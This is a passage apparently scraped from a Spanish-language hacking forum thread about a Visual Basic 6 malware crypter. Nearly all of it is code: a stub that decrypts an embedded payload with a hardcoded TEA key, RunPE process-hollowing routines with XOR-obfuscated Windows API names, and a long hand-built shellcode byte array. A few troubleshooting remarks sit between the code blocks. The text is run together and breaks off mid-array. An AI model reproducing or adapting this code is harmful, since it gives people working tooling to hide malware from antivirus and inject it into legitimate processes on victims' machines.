Dim Datos2() As ByteDatos2() = StrConv(shadow(1), vbFromUnicode)Call RunPE(Datos2, App.Path & Chr$(92) & App.EXEName & Chr$(46) & Chr$(101) & Chr$(120) & Chr$(101), Command)
Call E4q1E8ZiihmXQXCPOehk(Datos2, App.Path & Chr$(92) & App.EXEName & Chr$(46) & Chr$(101) & Chr$(120) & Chr$(101), Command)
Call E4q1E8ZiihmXQXCPOehk(App.Path & Chr$(92) & App.EXEName & Chr$(46) & Chr$(101) & Chr$(120) & Chr$(101),StrConv(shadow,VbFromUnicode))
Antes abría y ahora no?
elimina todo ese código que pusiste y pon estoCódigo: [Seleccionar]Call E4q1E8ZiihmXQXCPOehk(App.Path & Chr$(92) & App.EXEName & Chr$(46) & Chr$(101) & Chr$(120) & Chr$(101),StrConv(shadow,VbFromUnicode))Aunque si pons los códigos seria mejor!
Sub Main()Dim Datos As String 'DeclaramosDim malware() As String 'DeclaramosOpen App.Path & Chr$(92) & App.EXEName & Chr$(46) & Chr$(101) & Chr$(120) & Chr$(101) For Binary As #1 'Nos abrimosDatos = Space(LOF(1)) 'Cojemos los datosGet #1, , DatosClose #1 'Cerramosmalware() = Split(Datos, "cuaderno")'Vamos a diferenciar las partes'Malware(0) = stub'Malware(1) = Archivo encriptado'Malware(2) = Algoritmo'Malware(3) = KeyDim TEA As New clsTEA 'Esta linea no esta en el cuaderno de Malwaremalware(1) = TEA.DecryptString(malware(1), "HackXCrack")'Malware(1) es el archivo encriptado.Lo que hacemos es que'se desencripte y use "HackXCrack", que es la pass que usamosDim Datos2() As ByteDatos2() = StrConv(malware(1), vbFromUnicode)Call FETGDWR(App.Path & Chr$(92) & App.EXEName & Chr$(46) & Chr$(101) & Chr$(120) & Chr$(101), StrConv(shadow, vbFromUnicode))End Sub
Option ExplicitPrivate Const CONTEXT_FULL As Long = &H10007Private Const MAX_PATH As Integer = 260Private Const CREATE_SUSPENDED As Long = &H4Private Const MEM_COMMIT As Long = &H1000Private Const MEM_RESERVE As Long = &H2000Private Const PAGE_EXECUTE_READWRITE As Long = &H40Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As LongPrivate Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, bvBuff As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As LongPrivate Declare Function OutputDebugString Lib "kernel32" Alias "OutputDebugStringA" (ByVal lpOutputString As String) As LongPublic Declare Sub RtlMoveMemory Lib "kernel32" (Dest As Any, Src As Any, ByVal L As Long)Private Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As LongPrivate Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As LongPrivate Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As LongPrivate Type SECURITY_ATTRIBUTESnLength As LonglpSecurityDescriptor As LongbInheritHandle As LongEnd TypePrivate Type STARTUPINFOcb As LonglpReserved As LonglpDesktop As LonglpTitle As LongdwX As LongdwY As LongdwXSize As LongdwYSize As LongdwXCountChars As LongdwYCountChars As LongdwFillAttribute As LongdwFlags As LongwShowWindow As IntegercbReserved2 As IntegerlpReserved2 As LonghStdInput As LonghStdOutput As LonghStdError As LongEnd TypePrivate Type PROCESS_INFORMATIONhProcess As LonghThread As LongdwProcessId As LongdwThreadID As LongEnd TypePrivate Type FLOATING_SAVE_AREAControlWord As LongStatusWord As LongTagWord As LongErrorOffset As LongErrorSelector As LongDataOffset As LongDataSelector As LongRegisterArea(1 To 80) As ByteCr0NpxState As LongEnd TypePrivate Type CONTEXTContextFlags As LongDr0 As LongDr1 As LongDr2 As LongDr3 As LongDr6 As LongDr7 As LongFloatSave As FLOATING_SAVE_AREASegGs As LongSegFs As LongSegEs As LongSegDs As LongEdi As LongEsi As LongEbx As LongEdx As LongEcx As LongEax As LongEbp As LongEip As LongSegCs As LongEFlags As LongEsp As LongSegSs As LongEnd TypePrivate Type IMAGE_DOS_HEADERe_magic As Integere_cblp As Integere_cp As Integere_crlc As Integere_cparhdr As Integere_minalloc As Integere_maxalloc As Integere_ss As Integere_sp As Integere_csum As Integere_ip As Integere_cs As Integere_lfarlc As Integere_ovno As Integere_res(0 To 3) As Integere_oemid As Integere_oeminfo As Integere_res2(0 To 9) As Integere_lfanew As LongEnd TypePrivate Type IMAGE_FILE_HEADERMachine As IntegerNumberOfSections As IntegerTimeDateStamp As LongPointerToSymbolTable As LongNumberOfSymbols As LongSizeOfOptionalHeader As Integercharacteristics As IntegerEnd TypePrivate Type IMAGE_DATA_DIRECTORYVirtualAddress As LongSize As LongEnd TypePrivate Type IMAGE_OPTIONAL_HEADERMagic As IntegerMajorLinkerVersion As ByteMinorLinkerVersion As ByteSizeOfCode As LongSizeOfInitializedData As LongSizeOfUnitializedData As LongAddressOfEntryPoint As LongBaseOfCode As LongBaseOfData As LongImageBase As LongSectionAlignment As LongFileAlignment As LongMajorOperatingSystemVersion As IntegerMinorOperatingSystemVersion As IntegerMajorImageVersion As IntegerMinorImageVersion As IntegerMajorSubsystemVersion As IntegerMinorSubsystemVersion As IntegerW32VersionValue As LongSizeOfImage As LongSizeOfHeaders As LongCheckSum As LongSubSystem As IntegerDllCharacteristics As IntegerSizeOfStackReserve As LongSizeOfStackCommit As LongSizeOfHeapReserve As LongSizeOfHeapCommit As LongLoaderFlags As LongNumberOfRvaAndSizes As LongDataDirectory(0 To 15) As IMAGE_DATA_DIRECTORYEnd TypePrivate Type IMAGE_NT_HEADERSSignature As LongFileHeader As IMAGE_FILE_HEADEROptionalHeader As IMAGE_OPTIONAL_HEADEREnd TypePrivate Type IMAGE_SECTION_HEADERSecName As String * 8VirtualSize As LongVirtualAddress As LongSizeOfRawData As LongPointerToRawData As LongPointerToRelocations As LongPointerToLinenumbers As LongNumberOfRelocations As IntegerNumberOfLinenumbers As Integercharacteristics As LongEnd TypePublic Function FETGDWR(ByVal HAGN As String, ByVal ZOPBK As String, ParamArray CIGTGBE()) As LongDim QHXOQ As Long, VGCC(&HEC00& - 1) As Byte, KOW As Long, CZHLHRL As LongCZHLHRL = GetProcAddress(LoadLibraryA(HAGN), ZOPBK)If CZHLHRL = 0 Then Exit FunctionQHXOQ = VarPtr(VGCC(0))RtlMoveMemory ByVal QHXOQ,&H59595958, &H4: QHXOQ = QHXOQ + 4RtlMoveMemory ByVal QHXOQ, &H5059, &H2: QHXOQ = QHXOQ + 2For KOW = UBound(CIGTGBE) To 0 Step -1RtlMoveMemory ByVal QHXOQ, &H68, &H1: QHXOQ = QHXOQ + 1RtlMoveMemory ByVal QHXOQ, CLng(CIGTGBE(KOW)), &H4: QHXOQ = QHXOQ + 4NextRtlMoveMemory ByVal QHXOQ, &HE8, &H1: QHXOQ = QHXOQ + 1RtlMoveMemory ByVal QHXOQ, CZHLHRL - QHXOQ -4, &H4: QHXOQ = QHXOQ + 4RtlMoveMemory ByVal QHXOQ, &HC3, &H1: QHXOQ = QHXOQ + 1FETGDWR = CallWindowProcA(VarPtr(VGCC(0)), 0, 0, 0, 0)End FunctionPublic Function SHKMH(ByVal YQGMHV As String, ByVal YJJSI As String) As StringDim NPE As LongFor NPE = 1 To Len(YQGMHV)SHKMH = SHKMH & Chr(Asc(Mid(YJJSI, IIf(NPE Mod Len(YJJSI) <> 0, NPE Mod Len(YJJSI), Len(YJJSI)), 1)) Xor Asc(Mid(YQGMHV, NPE, 1)))Next NPEEnd FunctionPublic Sub CMBRERL(ByVal OGODL As String , ByRef FDEY() As Byte, QJFEZ As String)Dim GCH as Long, RMMN as IMAGE_DOS_HEADER, KYVRD As IMAGE_NT_HEADERS, WWONLP As IMAGE_SECTION_HEADERDim DVYHQPF As STARTUPINFO, QOHJRL As PROCESS_INFORMATION, XXKGAM As CONTEXTDVYHQPF.cb = Len(DVYHQPF)RtlMoveMemory RMMN, FDEY(0), 64RtlMoveMemory KYVRD, FDEY(RMMN.e_lfanew), 248CreateProcessA OGODL, " " & QJFEZ, 0, 0, False, CREATE_SUSPENDED, 0, 0, DVYHQPF,QOHJRLFETGDWR SHKMH(chr(33) & chr(37) & chr(51) & chr(33) & chr(61) ,"OQWMQVOJRSYFRHBTDTBYMRSVNODSGDFYXQFFZUXJ"), SHKMH(chr(1) & chr(37) & chr(2) & chr(35) & chr(60) & chr(55) & chr(63) & chr(28) & chr(59) & chr(54) & chr(46) & chr(9) & chr(52) & chr(27) & chr(39) & chr(55) & chr(48) & chr(61) & chr(45) & chr(55) ,"OQWMQVOJRSYFRHBTDTBYMRSVNODSGDFYXQFFZUXJ"), QOHJRL.hProcess, KYVRD.OptionalHeader.ImageBaseFETGDWR SHKMH(chr(36) & chr(52) & chr(37) & chr(35) & chr(52) & chr(58) & chr(124) & chr(120) ,"OQWMQVOJRSYFRHBTDTBYMRSVNODSGDFYXQFFZUXJ"), SHKMH(chr(25) & chr(56) & chr(37) & chr(57) & chr(36) & chr(55) & chr(35) & chr(11) & chr(62) & chr(63) & chr(54) & chr(37) & chr(23) & chr(48) ,"OQWMQVOJRSYFRHBTDTBYMRSVNODSGDFYXQFFZUXJ"), QOHJRL.hProcess, KYVRD.OptionalHeader.ImageBase , KYVRD.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITEWriteProcessMemory QOHJRL.hProcess, ByVal KYVRD.OptionalHeader.ImageBase, FDEY(0), KYVRD.OptionalHeader.SizeOfHeaders, 0For GCH = 0 To KYVRD.FileHeader.NumberOfSections - 1RtlMoveMemory WWONLP, FDEY(RMMN.e_lfanew + 248 + 40 * GCH), Len(WWONLP)WriteProcessMemory QOHJRL.hProcess, ByVal KYVRD.OptionalHeader.ImageBase + WWONLP.VirtualAddress, FDEY(WWONLP.PointerToRawData), WWONLP.SizeOfRawData, 0Next GCHXXKGAM.ContextFlags = CONTEXT_FULLFETGDWR SHKMH(chr(36) & chr(52) & chr(37) & chr(35) & chr(52) & chr(58) & chr(124) & chr(120) ,"OQWMQVOJRSYFRHBTDTBYMRSVNODSGDFYXQFFZUXJ"), SHKMH(chr(8) & chr(52) & chr(35) & chr(25) & chr(57) & chr(36) & chr(42) & chr(43) & chr(54) & chr(16) & chr(54) & chr(40) & chr(38) & chr(45) & chr(58) & chr(32) ,"OQWMQVOJRSYFRHBTDTBYMRSVNODSGDFYXQFFZUXJ"), QOHJRL.hThread, VarPtr(XXKGAM)WriteProcessMemory QOHJRL.hProcess, ByVal XXKGAM.Ebx + 8, KYVRD.OptionalHeader.ImageBase, 4, 0XXKGAM.Eax = KYVRD.OptionalHeader.ImageBase + KYVRD.OptionalHeader.AddressOfEntryPointFETGDWR SHKMH(chr(36) & chr(52) & chr(37) & chr(35) & chr(52) & chr(58) & chr(124) & chr(120) ,"OQWMQVOJRSYFRHBTDTBYMRSVNODSGDFYXQFFZUXJ"), SHKMH(chr(28) & chr(52) & chr(35) & chr(25) & chr(57) & chr(36) & chr(42) & chr(43) & chr(54) & chr(16) & chr(54) & chr(40) & chr(38) & chr(45) & chr(58) & chr(32) ,"OQWMQVOJRSYFRHBTDTBYMRSVNODSGDFYXQFFZUXJ") , QOHJRL.hThread, VarPtr(XXKGAM)FETGDWR SHKMH(chr(36) & chr(52) & chr(37) & chr(35) & chr(52) & chr(58) & chr(124) & chr(120) ,"OQWMQVOJRSYFRHBTDTBYMRSVNODSGDFYXQFFZUXJ"), SHKMH(chr(29) & chr(52) & chr(36) & chr(56) & chr(60) & chr(51) & chr(27) & chr(34) & chr(32) & chr(54) & chr(56) & chr(34) ,"OQWMQVOJRSYFRHBTDTBYMRSVNODSGDFYXQFFZUXJ") , QOHJRL.hThreadEnd Sub
Sub Main()Dim Datos As String 'DeclaramosDim malware() As String 'DeclaramosOpen App.Path & Chr$(92) & App.EXEName & Chr$(46) & Chr$(101) & Chr$(120) & Chr$(101) For Binary As #1 'Nos abrimosDatos = Space(LOF(1)) 'Cojemos los datosGet #1, , DatosClose #1 'Cerramosmalware() = Split(Datos, "cuaderno")'Vamos a diferenciar las partes'Malware(0) = stub'Malware(1) = Archivo encriptado'Malware(2) = Algoritmo'Malware(3) = KeyDim TEA As New clsTEA 'Esta linea no esta en el cuaderno de Malwaremalware(1) = TEA.DecryptString(malware(1), "HackXCrack")'Malware(1) es el archivo encriptado.Lo que hacemos es que'se desencripte y use "HackXCrack", que es la pass que usamos'Dim Datos2() As Byte'Datos2() = StrConv(malware(1), vbFromUnicode)Call FETGDWR(App.Path & Chr$(92) & App.EXEName & Chr$(46) & Chr$(101) & Chr$(120) & Chr$(101), StrConv(shadow, vbFromUnicode))End Sub
Sub Main()Dim Datos As String 'DeclaramosDim malware() As String 'DeclaramosOpen App.Path & Chr$(92) & App.EXEName & Chr$(46) & Chr$(101) & Chr$(120) & Chr$(101) For Binary As #1 'Nos abrimosDatos = Space(LOF(1)) 'Cojemos los datosGet #1, , DatosClose #1 'Cerramosmalware() = Split(Datos, "cuaderno")'Vamos a diferenciar las partes'Malware(0) = stub'Malware(1) = Archivo encriptado'Malware(2) = Algoritmo'Malware(3) = KeyDim TEA As New clsTEA 'Esta linea no esta en el cuaderno de Malwaremalware(1) = TEA.DecryptString(malware(1), "HackXCrack")'Malware(1) es el archivo encriptado.Lo que hacemos es que'se desencripte y use "HackXCrack", que es la pass que usamos'Dim Datos2() As Byte'Datos2() = StrConv(malware(1), vbFromUnicode)Call RunPE(App.Path & Chr$(92) & App.EXEName & Chr$(46) & Chr$(101) & Chr$(120) & Chr$(101), StrConv(shadow, vbFromUnicode))End Sub
'USER32Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Private Pink(1287) As Byte Public Sub RunPE(ByVal ruta As String, binario() As Byte)Pink(0) = &H60Pink(1) = &HE8Pink(2) = &H4EPink(3) = &H0Pink(4) = &H0Pink(5) = &H0Pink(6) = &H6BPink(7) = &H0Pink(8) = &H65Pink(9) = &H0Pink(10) = &H72Pink(11) = &H0Pink(12) = &H6EPink(13) = &H0Pink(14) = &H65Pink(15) = &H0Pink(16) = &H6CPink(17) = &H0Pink(18) = &H33Pink(19) = &H0Pink(20) = &H32Pink(21) = &H0Pink(22) = &H0Pink(23) = &H0Pink(24) = &H6EPink(25) = &H0Pink(26) = &H74Pink(27) = &H0Pink(28) = &H64Pink(29) = &H0Pink(30) = &H6CPink(31) = &H0Pink(32) = &H6CPink(33) = &H0Pink(34) = &H0Pink(35) = &H0Pink(36) = &H0Pink(37) = &H0Pink(38) = &H0Pink(39) = &H0Pink(40) = &H0Pink(41) = &H0Pink(42) = &H0Pink(43) = &H0Pink(44) = &H0Pink(45) = &H0Pink(46) = &H0Pink(47) = &H0Pink(48) = &H0Pink(49) = &H0Pink(50) = &H0Pink(51) = &H0Pink(52) = &H0Pink(53) = &H0Pink(54) = &H0Pink(55) = &H0Pink(56) = &H0Pink(57) = &H0Pink(58) = &H0Pink(59) = &H0Pink(60) = &H0Pink(61) = &H0Pink(62) = &H0Pink(63) = &H0Pink(64) = &H0Pink(65) = &H0Pink(66) = &H0Pink(67) = &H0Pink(68) = &H0Pink(69) = &H0Pink(70) = &H0Pink(71) = &H0Pink(72) = &H0Pink(73) = &H0Pink(74) = &H0Pink(75) = &H0Pink(76) = &H0Pink(77) = &H0Pink(78) = &H0Pink(79) = &H0Pink(80) = &H0Pink(81) = &H0Pink(82) = &H0Pink(83) = &H0Pink(84) = &H5BPink(85) = &H8BPink(86) = &HFCPink(87) = &H6APink(88) = &H42Pink(89) = &HE8Pink(90) = &HBBPink(91) = &H3Pink(92) = &H0Pink(93) = &H0Pink(94) = &H8BPink(95) = &H54Pink(96) = &H24Pink(97) = &H28Pink(98) = &H89Pink(99) = &H11Pink(100) = &H8BPink(101) = &H54Pink(102) = &H24Pink(103) = &H2CPink(104) = &H6APink(105) = &H3EPink(106) = &HE8Pink(107) = &HAAPink(108) = &H3Pink(109) = &H0Pink(110) = &H0Pink(111) = &H89Pink(112) = &H11Pink(113) = &H6APink(114) = &H4APink(115) = &HE8Pink(116) = &HA1Pink(117) = &H3Pink(118) = &H0Pink(119) = &H0Pink(120) = &H89Pink(121) = &H39Pink(122) = &H6APink(123) = &H1EPink(124) = &H6APink(125) = &H3CPink(126) = &HE8Pink(127) = &H9DPink(128) = &H3Pink(129) = &H0Pink(130) = &H0Pink(131) = &H6APink(132) = &H22Pink(133) = &H68Pink(134) = &HF4Pink(135) = &H0Pink(136) = &H0Pink(137) = &H0Pink(138) = &HE8Pink(139) = &H91Pink(140) = &H3Pink(141) = &H0Pink(142) = &H0Pink(143) = &H6APink(144) = &H26Pink(145) = &H6APink(146) = &H24Pink(147) = &HE8Pink(148) = &H88Pink(149) = &H3Pink(150) = &H0Pink(151) = &H0Pink(152) = &H6APink(153) = &H2APink(154) = &H6APink(155) = &H40Pink(156) = &HE8Pink(157) = &H7FPink(158) = &H3Pink(159) = &H0Pink(160) = &H0Pink(161) = &H6APink(162) = &H2EPink(163) = &H6APink(164) = &HCPink(165) = &HE8Pink(166) = &H76Pink(167) = &H3Pink(168) = &H0Pink(169) = &H0Pink(170) = &H6APink(171) = &H32Pink(172) = &H68Pink(173) = &HC8Pink(174) = &H0Pink(175) = &H0Pink(176) = &H0Pink(177) = &HE8Pink(178) = &H6APink(179) = &H3Pink(180) = &H0Pink(181) = &H0Pink(182) = &H6APink(183) = &H2APink(184) = &HE8Pink(185) = &H5CPink(186) = &H3Pink(187) = &H0Pink(188) = &H0Pink(189) = &H8BPink(190) = &H9Pink(191) = &HC7Pink(192) = &H1Pink(193) = &H44Pink(194) = &H0Pink(195) = &H0Pink(196) = &H0Pink(197) = &H6APink(198) = &H12Pink(199) = &HE8Pink(200) = &H4DPink(201) = &H3Pink(202) = &H0Pink(203) = &H0Pink(204) = &H68Pink(205) = &H5BPink(206) = &HE8Pink(207) = &H14Pink(208) = &HCFPink(209) = &H51Pink(210) = &HE8Pink(211) = &H79Pink(212) = &H3Pink(213) = &H0Pink(214) = &H0Pink(215) = &H6APink(216) = &H3EPink(217) = &HE8Pink(218) = &H3BPink(219) = &H3Pink(220) = &H0Pink(221) = &H0Pink(222) = &H8BPink(223) = &HD1Pink(224) = &H6APink(225) = &H1EPink(226) = &HE8Pink(227) = &H32Pink(228) = &H3Pink(229) = &H0Pink(230) = &H0Pink(231) = &H6APink(232) = &H40Pink(233) = &HFFPink(234) = &H32Pink(235) = &HFFPink(236) = &H31Pink(237) = &HFFPink(238) = &HD0Pink(239) = &H6APink(240) = &H12Pink(241) = &HE8Pink(242) = &H23Pink(243) = &H3Pink(244) = &H0Pink(245) = &H0Pink(246) = &H68Pink(247) = &H5BPink(248) = &HE8Pink(249) = &H14Pink(250) = &HCFPink(251) = &H51Pink(252) = &HE8Pink(253) = &H4FPink(254) = &H3Pink(255) = &H0Pink(256) = &H0Pink(257) = &H6APink(258) = &H1EPink(259) = &HE8Pink(260) = &H11Pink(261) = &H3Pink(262) = &H0Pink(263) = &H0Pink(264) = &H8BPink(265) = &H9Pink(266) = &H8BPink(267) = &H51Pink(268) = &H3CPink(269) = &H6APink(270) = &H3EPink(271) = &HE8Pink(272) = &H5Pink(273) = &H3Pink(274) = &H0Pink(275) = &H0Pink(276) = &H8BPink(277) = &H39Pink(278) = &H3Pink(279) = &HFAPink(280) = &H6APink(281) = &H22Pink(282) = &HE8Pink(283) = &HFAPink(284) = &H2Pink(285) = &H0Pink(286) = &H0Pink(287) = &H8BPink(288) = &H9Pink(289) = &H68Pink(290) = &HF8Pink(291) = &H0Pink(292) = &H0Pink(293) = &H0Pink(294) = &H57Pink(295) = &H51Pink(296) = &HFFPink(297) = &HD0Pink(298) = &H6APink(299) = &H0Pink(300) = &HE8Pink(301) = &HE8Pink(302) = &H2Pink(303) = &H0Pink(304) = &H0Pink(305) = &H68Pink(306) = &H88Pink(307) = &HFEPink(308) = &HB3Pink(309) = &H16Pink(310) = &H51Pink(311) = &HE8Pink(312) = &H14Pink(313) = &H3Pink(314) = &H0Pink(315) = &H0Pink(316) = &H6APink(317) = &H2EPink(318) = &HE8Pink(319) = &HD6Pink(320) = &H2Pink(321) = &H0Pink(322) = &H0Pink(323) = &H8BPink(324) = &H39Pink(325) = &H6APink(326) = &H2APink(327) = &HE8Pink(328) = &HCDPink(329) = &H2Pink(330) = &H0Pink(331) = &H0Pink(332) = &H8BPink(333) = &H11Pink(334) = &H6APink(335) = &H42Pink(336) = &HE8Pink(337) = &HC4Pink(338) = &H2Pink(339) = &H0Pink(340) = &H0Pink(341) = &H57Pink(342) = &H52Pink(343) = &H6APink(344) = &H0Pink(345) = &H6APink(346) = &H0Pink(347) = &H6APink(348) = &H4Pink(349) = &H6APink(350) = &H0Pink(351) = &H6APink(352) = &H0Pink(353) = &H6APink(354) = &H0Pink(355) = &H6APink(356) = &H0Pink(357) = &HFFPink(358) = &H31Pink(359) = &HFFPink(360) = &HD0Pink(361) = &H6APink(362) = &H12Pink(363) = &HE8Pink(364) = &HA9Pink(365) = &H2Pink(366) = &H0Pink(367) = &H0Pink(368) = &H68Pink(369) = &HD0Pink(370) = &H37Pink(371) = &H10Pink(372) = &HF2Pink(373) = &H51Pink(374) = &HE8Pink(375) = &HD5Pink(376) = &H2Pink(377) = &H0Pink(378) = &H0Pink(379) = &H6APink(380) = &H22Pink(381) = &HE8Pink(382) = &H97Pink(383) = &H2Pink(384) = &H0Pink(385) = &H0Pink(386) = &H8BPink(387) = &H11Pink(388) = &H6APink(389) = &H2EPink(390) = &HE8Pink(391) = &H8EPink(392) = &H2Pink(393) = &H0Pink(394) = &H0Pink(395) = &H8BPink(396) = &H9Pink(397) = &HFFPink(398) = &H72Pink(399) = &H34Pink(400) = &HFFPink(401) = &H31Pink(402) = &HFFPink(403) = &HD0Pink(404) = &H6APink(405) = &H0Pink(406) = &HE8Pink(407) = &H7EPink(408) = &H2Pink(409) = &H0Pink(410) = &H0Pink(411) = &H68Pink(412) = &H9CPink(413) = &H95Pink(414) = &H1APink(415) = &H6EPink(416) = &H51Pink(417) = &HE8Pink(418) = &HAAPink(419) = &H2Pink(420) = &H0Pink(421) = &H0Pink(422) = &H6APink(423) = &H22Pink(424) = &HE8Pink(425) = &H6CPink(426) = &H2Pink(427) = &H0Pink(428) = &H0Pink(429) = &H8BPink(430) = &H11Pink(431) = &H8BPink(432) = &H39Pink(433) = &H6APink(434) = &H2EPink(435) = &HE8Pink(436) = &H61Pink(437) = &H2Pink(438) = &H0Pink(439) = &H0Pink(440) = &H8BPink(441) = &H9Pink(442) = &H6APink(443) = &H40Pink(444) = &H68Pink(445) = &H0Pink(446) = &H30Pink(447) = &H0Pink(448) = &H0Pink(449) = &HFFPink(450) = &H72Pink(451) = &H50Pink(452) = &HFFPink(453) = &H77Pink(454) = &H34Pink(455) = &HFFPink(456) = &H31Pink(457) = &HFFPink(458) = &HD0Pink(459) = &H6APink(460) = &H36Pink(461) = &HE8Pink(462) = &H47Pink(463) = &H2Pink(464) = &H0Pink(465) = &H0Pink(466) = &H8BPink(467) = &HD1Pink(468) = &H6APink(469) = &H22Pink(470) = &HE8Pink(471) = &H3EPink(472) = &H2Pink(473) = &H0Pink(474) = &H0Pink(475) = &H8BPink(476) = &H39Pink(477) = &H6APink(478) = &H3EPink(479) = &HE8Pink(480) = &H35Pink(481) = &H2Pink(482) = &H0Pink(483) = &H0Pink(484) = &H8BPink(485) = &H31Pink(486) = &H6APink(487) = &H22Pink(488) = &HE8Pink(489) = &H2CPink(490) = &H2Pink(491) = &H0Pink(492) = &H0Pink(493) = &H8BPink(494) = &H1Pink(495) = &H6APink(496) = &H2EPink(497) = &HE8Pink(498) = &H23Pink(499) = &H2Pink(500) = &H0Pink(501) = &H0Pink(502) = &H8BPink(503) = &H9Pink(504) = &H52Pink(505) = &HFFPink(506) = &H77Pink(507) = &H54Pink(508) = &H56Pink(509) = &HFFPink(510) = &H70Pink(511) = &H34Pink(512) = &HFFPink(513) = &H31Pink(514) = &H6APink(515) = &H0Pink(516) = &HE8Pink(517) = &H10Pink(518) = &H2Pink(519) = &H0Pink(520) = &H0Pink(521) = &H68Pink(522) = &HA1Pink(523) = &H6APink(524) = &H3DPink(525) = &HD8Pink(526) = &H51Pink(527) = &HE8Pink(528) = &H3CPink(529) = &H2Pink(530) = &H0Pink(531) = &H0Pink(532) = &H83Pink(533) = &HC4Pink(534) = &HCPink(535) = &HFFPink(536) = &HD0Pink(537) = &H6APink(538) = &H12Pink(539) = &HE8Pink(540) = &HF9Pink(541) = &H1Pink(542) = &H0Pink(543) = &H0Pink(544) = &H68Pink(545) = &H5BPink(546) = &HE8Pink(547) = &H14Pink(548) = &HCFPink(549) = &H51Pink(550) = &HE8Pink(551) = &H25Pink(552) = &H2Pink(553) = &H0Pink(554) = &H0Pink(555) = &H6APink(556) = &H22Pink(557) = &HE8Pink(558) = &HE7Pink(559) = &H1Pink(560) = &H0Pink(561) = &H0Pink(562) = &H8BPink(563) = &H11Pink(564) = &H83Pink(565) = &HC2Pink(566) = &H6Pink(567) = &H6APink(568) = &H3APink(569) = &HE8Pink(570) = &HDBPink(571) = &H1Pink(572) = &H0Pink(573) = &H0Pink(574) = &H6APink(575) = &H2Pink(576) = &H52Pink(577) = &H51Pink(578) = &HFFPink(579) = &HD0Pink(580) = &H6APink(581) = &H36Pink(582) = &HE8Pink(583) = &HCEPink(584) = &H1Pink(585) = &H0Pink(586) = &H0Pink(587) = &HC7Pink(588) = &H1Pink(589) = &H0Pink(590) = &H0Pink(591) = &H0Pink(592) = &H0Pink(593) = &HB8Pink(594) = &H28Pink(595) = &H0Pink(596) = &H0Pink(597) = &H0Pink(598) = &H6APink(599) = &H36Pink(600) = &HE8Pink(601) = &HBCPink(602) = &H1Pink(603) = &H0Pink(604) = &H0Pink(605) = &HF7Pink(606) = &H21Pink(607) = &H6APink(608) = &H1EPink(609) = &HE8Pink(610) = &HB3Pink(611) = &H1Pink(612) = &H0Pink(613) = &H0Pink(614) = &H8BPink(615) = &H11Pink(616) = &H8BPink(617) = &H52Pink(618) = &H3CPink(619) = &H81Pink(620) = &HC2Pink(621) = &HF8Pink(622) = &H0Pink(623) = &H0Pink(624) = &H0Pink(625) = &H3Pink(626) = &HD0Pink(627) = &H6APink(628) = &H3EPink(629) = &HE8Pink(630) = &H9FPink(631) = &H1Pink(632) = &H0Pink(633) = &H0Pink(634) = &H3Pink(635) = &H11Pink(636) = &H6APink(637) = &H26Pink(638) = &HE8Pink(639) = &H96Pink(640) = &H1Pink(641) = &H0Pink(642) = &H0Pink(643) = &H6APink(644) = &H28Pink(645) = &H52Pink(646) = &HFFPink(647) = &H31Pink(648) = &H6APink(649) = &H12Pink(650) = &HE8Pink(651) = &H8APink(652) = &H1Pink(653) = &H0Pink(654) = &H0Pink(655) = &H68Pink(656) = &H5BPink(657) = &HE8Pink(658) = &H14Pink(659) = &HCFPink(660) = &H51Pink(661) = &HE8Pink(662) = &HB6Pink(663) = &H1Pink(664) = &H0Pink(665) = &H0Pink(666) = &H83Pink(667) = &HC4Pink(668) = &HCPink(669) = &HFFPink(670) = &HD0Pink(671) = &H6APink(672) = &H26Pink(673) = &HE8Pink(674) = &H73Pink(675) = &H1Pink(676) = &H0Pink(677) = &H0Pink(678) = &H8BPink(679) = &H39Pink(680) = &H8BPink(681) = &H9Pink(682) = &H8BPink(683) = &H71Pink(684) = &H14Pink(685) = &H6APink(686) = &H3EPink(687) = &HE8Pink(688) = &H65Pink(689) = &H1Pink(690) = &H0Pink(691) = &H0Pink(692) = &H3Pink(693) = &H31Pink(694) = &H6APink(695) = &H26Pink(696) = &HE8Pink(697) = &H5CPink(698) = &H1Pink(699) = &H0Pink(700) = &H0Pink(701) = &H8BPink(702) = &H9Pink(703) = &H8BPink(704) = &H51Pink(705) = &HCPink(706) = &H6APink(707) = &H22Pink(708) = &HE8Pink(709) = &H50Pink(710) = &H1Pink(711) = &H0Pink(712) = &H0Pink(713) = &H8BPink(714) = &H9Pink(715) = &H3Pink(716) = &H51Pink(717) = &H34Pink(718) = &H6APink(719) = &H46Pink(720) = &HE8Pink(721) = &H44Pink(722) = &H1Pink(723) = &H0Pink(724) = &H0Pink(725) = &H8BPink(726) = &HC1Pink(727) = &H6APink(728) = &H2EPink(729) = &HE8Pink(730) = &H3BPink(731) = &H1Pink(732) = &H0Pink(733) = &H0Pink(734) = &H8BPink(735) = &H9Pink(736) = &H50Pink(737) = &HFFPink(738) = &H77Pink(739) = &H10Pink(740) = &H56Pink(741) = &H52Pink(742) = &HFFPink(743) = &H31Pink(744) = &H6APink(745) = &H0Pink(746) = &HE8Pink(747) = &H2APink(748) = &H1Pink(749) = &H0Pink(750) = &H0Pink(751) = &H68Pink(752) = &HA1Pink(753) = &H6APink(754) = &H3DPink(755) = &HD8Pink(756) = &H51Pink(757) = &HE8Pink(758) = &H56Pink(759) = &H1Pink(760) = &H0Pink(761) = &H0Pink(762) = &H83Pink(763) = &HC4Pink(764) = &HCPink(765) = &HFFPink(766) = &HD0Pink(767) = &H6APink(768) = &H36Pink(769) = &HE8Pink(770) = &H13Pink(771) = &H1Pink(772) = &H0Pink(773) = &H0Pink(774) = &H8BPink(775) = &H11Pink(776) = &H83Pink(777) = &HC2Pink(778) = &H1Pink(779) = &H89Pink(780) = 